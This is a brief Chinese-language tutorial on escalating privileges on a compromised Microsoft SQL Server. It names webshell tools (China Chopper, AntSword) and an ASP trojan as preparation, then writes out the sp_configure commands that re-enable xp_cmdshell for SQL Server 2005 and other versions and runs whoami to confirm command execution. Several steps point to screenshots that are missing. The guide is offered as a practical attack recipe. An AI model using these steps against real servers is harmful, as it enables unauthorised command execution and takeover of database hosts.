如何进行MSSQL提权?默认库,xp_cmdshell提权
MSSQL就是指的sql-server
1、准备工作
1、本地sqlserver





2、查询分离器
但是这个工具比较大,这里换一个工具,sql查询分析器修正分离板




3、菜刀

如果这个方式不行,换中国蚁剑



如果还是不行,需要准备asp木马
2、恢复xp_cmdshell
命令执行
回到查询分析器,执行这个命令,注意后面不是逗号,是分号

继续执行命令

继续执行命令

如果不行,再次执行下命令

如果还是不行,直接执行这整个恢复xp_cmdshell,2005版本:
EXEC sp_configure N'show advanced options', N'1'
RECONFIGURE WITH OVERRIDE
EXEC sp_configure N'xp_cmdshell', N'1'
RECONFIGURE WITH OVERRIDE
EXEC sp_configure N'show advanced options', N'0'
RECONFIGURE WITH OVERRIDE

再次执行whoami 这个命令


至此,提权成功
也可以尝试用这个工具,但是这个工具只能用于win10以下


注意,如果不是sqlserver2005可使用如下的方法
EXEC sp_configure 'show advanced options', 1
RECONFIGURE
EXEC sp_configure 'xp_cmdshell', 1
RECONFIGURE

